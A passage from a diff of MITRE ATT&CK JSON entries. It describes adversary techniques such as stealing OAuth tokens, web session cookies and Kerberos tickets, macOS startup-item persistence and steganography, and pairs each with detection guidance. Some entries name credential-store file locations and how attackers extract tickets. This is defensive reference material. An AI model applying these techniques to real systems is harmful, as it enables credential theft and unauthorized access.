"https://attack.mitre.org/techniques/T1032", + "external_id": "T1032", + "source_name": "mitre-attack" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Standard Encoding", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-14T23:36:52.095Z", + "created": "2020-03-14T23:36:52.095Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1132/001", + "external_id": "T1132.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-15T18:02:49.891Z", + "name": "Startup Items", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1165", + "external_id": "T1165", + "source_name": "mitre-attack" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Startup Items", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T23:47:39.124Z", + "created": "2020-01-15T18:00:33.603Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", + "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037/005", + "external_id": "T1037.005", + "source_name": "mitre-attack" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Steal Application Access Token", + "x_mitre_data_sources": [ + "User Account: User Account Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-14T17:56:17.311Z", + "created": "2019-09-04T15:54:25.684Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "x_mitre_platforms": [ + "SaaS", + "Office 365", + "Azure AD", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1528", + "url": "https://attack.mitre.org/techniques/T1528" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "Microsoft Identity Platform Protocols May 2019", + "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols" + }, + { + "source_name": "Microsoft - OAuth Code Authorization flow - June 2019", + "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow" + }, + { + "source_name": "Microsoft - Azure AD App Registration - May 2019", + "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app" + }, + { + "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019", + "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Amnesty OAuth Phishing Attacks, August 2019", + "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.", + "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" + }, + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Steal Web Session Cookie", + "x_mitre_data_sources": [ + "File: File Access", + "Process: Process Access" + ], + "x_mitre_version": "1.2", + "modified": "2021-07-28T01:26:51.971Z", + "created": "2019-10-08T20:04:35.508Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "SaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Johann Rehberger" + ], + "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1539", + "external_id": "T1539", + "source_name": "mitre-attack" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "url": "https://securelist.com/project-tajmahal/90240/", + "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", + "source_name": "Kaspersky TajMahal April 2019" + }, + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019" + }, + { + "source_name": "Github evilginx2", + "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", + "url": "https://github.com/kgretzky/evilginx2" + }, + { + "url": "https://github.com/muraenateam/muraena", + "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", + "source_name": "GitHub Mauraena" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Steal or Forge Kerberos Tickets", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1558", + "external_id": "T1558", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/652.html", + "external_id": "CAPEC-652", + "source_name": "capec" + }, + { + "url": "https://adsecurity.org/?p=227", + "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.", + "source_name": "ADSecurity Kerberos Ring Decoder" + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist", + "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.", + "source_name": "Microsoft Klist" + }, + { + "url": "https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html", + "description": "Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.", + "source_name": "MIT ccache" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html", + "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.", + "source_name": "Linux Kerberos Tickets" + }, + { + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "source_name": "Brining MimiKatz to Unix" + }, + { + "url": "https://github.com/gentilkiwi/kekeo", + "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.", + "source_name": "Kekeo" + }, + { + "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f", + "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.", + "source_name": "SpectorOps Bifrost Kerberos macOS 2019" + }, + { + "url": "http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html", + "description": "Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.", + "source_name": "macOS kerberos framework MIT" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", + "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", + "source_name": "Stealthbits Detect PtT 2019" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", + "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", + "source_name": "Microsoft Kerberos Golden Ticket" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Active Directory: Active Directory Credential Request", + "Logon Session: Logon Session Metadata" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-14T22:56:22.054Z", + "x_mitre_system_requirements": [ + "Kerberos authentication enabled" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown", + "Cody Thomas, SpecterOps" + ], + "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.", + "created": "2020-02-11T19:12:46.830Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Steganography", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T16:46:56.760Z", + "created": "2020-02-05T14:28:16.719Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/003", + "external_id": "T1027.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/636.html", + "external_id": "CAPEC-636", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Duqu", + "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Duqu" + }, + { + "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", + "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Steganography", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-15T00:37:58.963Z", + "created": "2020-03-15T00:37:58.963Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", + "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1001/002", + "external_id": "T1001.002", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T14:24:26.780Z", + "name": "Stored Data Manipulation", + "created": "2019-04-09T11:51:30.942Z", + "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1492", + "external_id": "T1492", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Stored Data Manipulation", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Deletion", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-02T15:17:40.505Z", + "created": "2020-03-02T14:22:24.410Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for 